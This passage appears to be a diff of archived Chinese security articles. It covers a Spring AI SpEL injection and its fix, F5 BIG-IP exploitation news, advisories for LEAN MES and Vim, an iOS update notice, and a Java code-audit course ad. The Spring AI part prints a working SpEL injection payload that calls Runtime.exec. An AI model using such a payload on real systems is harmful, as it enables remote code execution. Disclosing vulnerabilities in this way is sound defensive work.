时，会直接取出引号内的内容进行拼接。
|
||||
|
||||
绕过检查的 payload
|
||||
如下：
|
||||
```
|
||||
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" == 'anything'
|
||||
```
|
||||
|
||||
|
||||
## 修复方式
|
||||
|
||||
commit
|
||||
记录：
|
||||
|
||||
https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29
|
||||
|
||||
没有采用常见的修复方式：将 StandardEvaluationContext
|
||||
换成 SimpleEvaluationContext
|
||||
，而是彻底移除 SpEL
|
||||
，改用自定义 AST
|
||||
遍历器直接求值。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。
|
||||
|
||||
欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# 攻击者利用RCE漏洞，14,000台F5 BIG-IP APM实例仍暴露在线
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-04-07 01:11
|
||||
|
||||
|
||||
|
||||
非营利安全组织Shadowserver警告称，超过14,000台F5 BIG-IP APM实例仍暴露在线，攻击者正在积极利用关键远程代码执行漏洞CVE-2025-53521（CVSS 3.1评分9.8）。
|
||||
|
||||
BIG-IP APM中的漏洞允许特制恶意流量在虚拟服务器上启用访问策略时触发远程代码执行（RCE）。
|
||||
|
||||
研究人员在五个月前的10月报告了该漏洞。该漏洞此前被归类为拒绝服务（DoS）问题，根据2026年3月的新发现，已重新归类为关键远程代码执行（RCE）漏洞。其严重性显著增加，CVSS评分更高。原始修复仍然有效，但该漏洞已在易受攻击的BIG-IP版本中被积极利用。
|
||||
|
||||
Shadowserver现在报告追踪超过14,100个具有F5 BIG-IP APM指纹的IP暴露在线，其中大多数位于美国（5138）、欧洲（4750）和亚洲（2689）。目前尚不清楚其中有多少实际上易受攻击利用。
|
||||
|
||||
3月底，美国网络安全和基础设施安全局（CISA）将F5 BIG-IP AMP中的漏洞添加到其已知被利用漏洞（KEV）目录中。CISA命令联邦机构在2026年3月30日之前修复该漏洞。
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# 漏洞预警 | LEAN MES系统文件上传漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-06 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统，主要用于生产调度、产品跟踪、质量控制等车间管理功能。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**漏洞类型：**
|
||||
文件上传
|
||||
|
||||
**影响：**
|
||||
上传恶意文件
|
||||
|
||||
**简述：**
|
||||
LEAN MES系统
|
||||
的
|
||||
/Handler/UploadHander.ashx
|
||||
接口存在任意文件上传漏洞，攻击者可通过构造恶意请求，绕过文件类型或内容校验，上传恶意文件，实现任意命令执行，获取服务器控制权限。
|
||||
|
||||
**0x04 影响版本**
|
||||
- LEAN MES系统
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.sz-skt.com/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
# 漏洞预警 | Vim代码执行漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-04-06 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2026-34714
|
||||
|
||||
- # CVE-2026-34982
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
Vim是一款强大的文本编辑器，广泛用于程序开发和系统管理。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-34714**
|
||||
|
||||
**漏洞类型：**
|
||||
代码执行
|
||||
|
||||
**影响：**
|
||||
执行任意代码
|
||||
|
||||
**简述：**
|
||||
Vim存在代码执行漏洞，由于其tabpanel选项缺少P_MLE安全标志，导致tabline脚本中的表达式可被用于注册任意命令。攻击者可以通过诱导用户打开特制文件，执行任意代码，从而导致获取系统控制权，可能导致数据泄露、系统破坏等严重后果。
|
||||
|
||||
**CVE-2026-34982**
|
||||
|
||||
**漏洞类型：**
|
||||
代码执行
|
||||
|
||||
**影响：**
|
||||
执行任意代码
|
||||
|
||||
**简述：**
|
||||
Vim存在代码执行漏洞，由于complete、guitabtooltip和printheader三个选项缺少P_MLE安全标志，导致脚本中的表达式可被用于注册任意命令。攻击者可以通过诱导用户打开特制文件，执行任意代码，从而导致获取系统控制权。
|
||||
|
||||
**0x04 影响版本**
|
||||
|
||||
CVE-2026-34714
|
||||
- 9.1.1391 <= Vim < 9.2.0272
|
||||
|
||||
CVE-2026-34982
|
||||
- 9.1.1178 <= Vim < 9.2.0276
|
||||
|
||||
**0x05 POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.vim.org/
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,16 @@
|
||||
# 苹果用户注意！及时更新iOS特定版本 防范漏洞攻击利用风险
|
||||
网络安全和信息化 2026-04-04 08:54
|
||||
安小圈 2026-04-07 00:45
|
||||
|
||||
**安小圈**
|
||||
|
||||
|
||||
第888期
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
近日，工业和信息化部网络安全威胁和漏洞信息共享平台（
|
||||
NVDB
|
||||
@@ -25,16 +36,25 @@ https://support.apple.com/zh-cn/100100
|
||||
NVDB
|
||||
）
|
||||
|
||||
-
|
||||
|
||||
|
||||
END
|
||||
-
|
||||
|
||||
|
||||
|
||||
|
||||
**欢迎关注我们~**
|
||||
|
||||
|
||||
|
||||
|
||||
**【以上内容**
|
||||
**来源自：网络安全和信息化】**
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect)
|
||||
|
||||
[看完本文再也不怕网安通报“明文传输” “TLS版本低”漏洞了](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550766&idx=1&sn=823d3fdd86bc69edcd337e03d89768eb&scene=21#wechat_redirect)
|
||||
**两名网络安全专家利用勒索软件攻击企业 委托自己联系自己谈赎金****聊一聊网络安全公司的内部争斗国家出手！网络安全产业低价中标乱象能否终结？ 网络安全行业还会好起来吗?**
|
||||
|
||||
**《网络安全法》完成修改，自2026年1月1日起施行网络安全法修改了哪些内容？（附详细对照表）全球三大网络安全巨头同时被黑网安：亏损 TOP 10中国联通DNS故障敲响警钟：DNS安全刻不容缓全球超120万个医疗系统公网暴露：患者数据或遭窃取 中国亦受影响个人信息保护负责人信息报送系统填报说明（第一版）全文高度警惕：不明黑客组织攻击中国国防、能源、航空、医疗、网安等重点行业攻防演练在即：如何开展网络安全应急响应【攻防演练】中钓鱼全流程梳理[一文详解]网络安全【攻防演练】中的防御规划与实施攻防必备 | 10款国产“两高一弱”专项解决方案【干货】2024 攻防演练 · 期间 | 需关注的高危漏洞清单攻防演练在即，10个物理安全问题不容忽视红队视角！2024 | 国家级攻防演练100+必修高危漏洞合集(可下载)【攻防演练】中钓鱼全流程梳理攻防演练在即：如何开展网络安全应急响应【零信任】落地的理想应用场景：攻防演练网安同行们，你们焦虑了吗？网安公司最后那点体面，还剩下多少？突发！数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。权威解答 | 国家网信办就：【数据出境】安全管理相关问题进行答复全国首位！上海通过数据出境安全评估91个，合同备案443个沈传宁：落实《网络数据安全管理条例》，提升全员数据安全意识频繁跳槽，只为投毒【2025】常见的网络安全服务大全（汇总详解）AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿)，附下载**
|
||||
|
||||
@@ -0,0 +1,197 @@
|
||||
# 零基础到实战：Java 代码审计从入门到独立挖掘高价值漏洞
|
||||
原创 路人甲
|
||||
路人甲 红细胞安全实验室 2026-04-07 01:05
|
||||
|
||||
|
||||
|
||||
你是否还在停留在复制粘贴POC
|
||||
的挖洞阶段？
|
||||
|
||||
你是否还在面对XXE
|
||||
、SSRF
|
||||
漏洞时只能浅尝辄止，眼睁睁看着高危RCE
|
||||
从眼前溜走？
|
||||
|
||||
你是否还在反复审计代码却总在知识点盲区栽跟头，被同行甩在身后？
|
||||
|
||||
在漏洞挖掘竞争日趋白热化的今天，只会利用公开POC
|
||||
的渗透测试工程师正在被快速淘汰。真正拉开差距的，是对漏洞底层原理的深度理解、对利用边界的无限拓展，以及在复杂实战场景中快速定位RCE
|
||||
漏洞的核心能力。面对防护严密的WAF
|
||||
和零信任架构等，代码审计已成为安全从业者突破瓶颈、挖掘0day/1day漏洞的核心技能。
|
||||
|
||||
如果你正面临以下困惑：
|
||||
- • 看了很多漏洞原理，却不知如何在庞大的产品源码中定位漏洞点？
|
||||
|
||||
- • 面对复杂的Spring Boot
|
||||
/ 微服务 / 非常规写法自研框架等项目，不知道审计从何处入手？
|
||||
|
||||
- • 无法深入利用基础漏洞将其串成RCE
|
||||
，总是在水洞的路上？
|
||||
|
||||
- • ...
|
||||
|
||||
那么《实战代码审计基础班》非常适合你，我们拒绝纯理论堆砌，坚持从开发视角切入安全，以实战驱动审计。
|
||||
## 课程大纲： 构建完整的审计知识体系
|
||||
|
||||
|
||||
|
||||
**1. 开篇：认知与方法论**
|
||||
- • **行业全景图**
|
||||
： 深度解析代码审计岗位的职责与就业前景，明确学习路径。
|
||||
|
||||
- • **审计思路沉淀**
|
||||
： 掌握整套代码审计的通用方案，解决“不敢审、不会审”的难题。
|
||||
|
||||
**2. 基础开发能力：审计的基石**
|
||||
|
||||
不懂开发的代码审计人员，很难发现潜在的漏洞
|
||||
- • **基础筑基**
|
||||
： Java
|
||||
语法、SQL
|
||||
基础、Java Web
|
||||
核心、Spring Boot
|
||||
架构等。
|
||||
|
||||
- • **工具进阶**
|
||||
： 深度掌握IDEA Debug
|
||||
技巧，学会如何通过断点分析复杂的逻辑流。
|
||||
|
||||
- • **技术方案识别**
|
||||
： 快速看懂项目架构，识别鉴权 / 路由等机制。
|
||||
|
||||
**3. 基础漏洞：深度剖析与利用**
|
||||
|
||||
涵盖OWASP Top 10
|
||||
常用漏洞及Java
|
||||
特色漏洞：
|
||||
- • SQL
|
||||
注入、文件读取、XXE
|
||||
、SSRF
|
||||
、文件上传。
|
||||
|
||||
- • **进阶攻防**
|
||||
： 反序列化漏洞、模板注入（SSTI
|
||||
）、RCE
|
||||
（远程命令/代码执行）。
|
||||
|
||||
- • **供应链安全**
|
||||
： 三方组件漏洞及1day
|
||||
漏洞复现分析。
|
||||
|
||||
- • **组合拳**
|
||||
： 学习不起眼的基础漏洞如何串联成危害更大的漏洞杀伤链。
|
||||
|
||||
**4. 漏洞挖掘：实战出真知**
|
||||
|
||||
拒绝纸上谈兵，带你以第一视角审计攻防一线常见产品
|
||||
- • **系统化分析**
|
||||
： 架构分析、鉴权分析、路由分析。
|
||||
|
||||
- • **通用产品实战**
|
||||
： 针对JeecgBoot
|
||||
最新版、汉得HZero
|
||||
最新版等主流开源/商用产品进行实战漏洞挖掘。
|
||||
|
||||
- • **场景挖掘**
|
||||
： 总结不同业务场景下的快速挖掘技巧。
|
||||
|
||||
**5. 内存马：是什么以及怎么打**
|
||||
|
||||
漏洞利用的最后阶段
|
||||
- • 底层原理： 剖析Tomcat
|
||||
与SpringBoot
|
||||
请求处理流程，方便理解内存马处理逻辑。
|
||||
|
||||
- • 进阶实战： 内存马原理分类（Filter
|
||||
, Servlet
|
||||
, Listener
|
||||
, Interceptor
|
||||
、Valve
|
||||
、Agent
|
||||
）及实战该注入什么类型的内存马
|
||||
|
||||
## 为什么选择《实战代码审计基础班》
|
||||
|
||||
1、实战项目驱动： 选取主流开源/闭源产品作为案例，带你体验第一视角从零到一挖掘漏洞的过程。
|
||||
|
||||
2、Debug
|
||||
式教学： 重点讲解IDEA
|
||||
动态调试，手把手带你跟踪payload
|
||||
的触发流程。
|
||||
|
||||
3、紧跟前沿趋势： 课程涵盖了目前护网和实战中高频出现的“内存马”与“供应链安全”板块。
|
||||
|
||||
4、独家审计思路，让你面对大型产品时不再怯场，也能挖掘出自己的第一个高危 **0day**
|
||||
## 适合人群
|
||||
- • **渗透测试工程师**
|
||||
： 寻求技能转型，提升挖掘0day/1day
|
||||
的能力。
|
||||
|
||||
- • **网络安全专业学生**
|
||||
： 希望建立系统的Java
|
||||
代码审计知识体系。
|
||||
|
||||
- • **安全开发人员**
|
||||
： 了解攻击者思路，以攻促防。
|
||||
|
||||
## 讲师介绍
|
||||
|
||||
**ID: 路人甲**
|
||||
- • 2021 - 2026 参与攻防演练超 **300**
|
||||
场 攻防经验丰富。
|
||||
|
||||
- • 各类省/地市/行业 **HW**
|
||||
打点主力选手，擅长大型集团 / 金融 **HW**
|
||||
打点。
|
||||
|
||||
- • 总计挖掘主流产品（OA / CMS / ERP / 报表 / 统一认证 / 安全设备等）有效RCE**0day**
|
||||
超150余个。
|
||||
|
||||
- • **0day**
|
||||
漏洞赏金累计超百万。
|
||||
|
||||
**部分赏金**
|
||||
|
||||
|
||||
## 课程历史评价
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 定价与核心权益
|
||||
|
||||
原价2999
|
||||
，现早鸟价只需 **2888**
|
||||
，学生优惠可再减 **100**
|
||||
，到手价 **2788**
|
||||
- • 一次**付费**
|
||||
，**终身**
|
||||
学习，全程**一对一**
|
||||
指导 / 答疑解惑
|
||||
|
||||
- • 直播 + 录播，学习进度不不落后，课后有疑问可一对一会议
|
||||
|
||||
- • 近两年高质量漏洞武器化工具
|
||||
|
||||
- • 不定时免费发放大量可用于 CNVD
|
||||
下证漏洞（需自行提交）
|
||||
|
||||
- • 互联网甲方 / 安全乙方内推
|
||||
|
||||
- • 免费攻防岗模拟面试
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user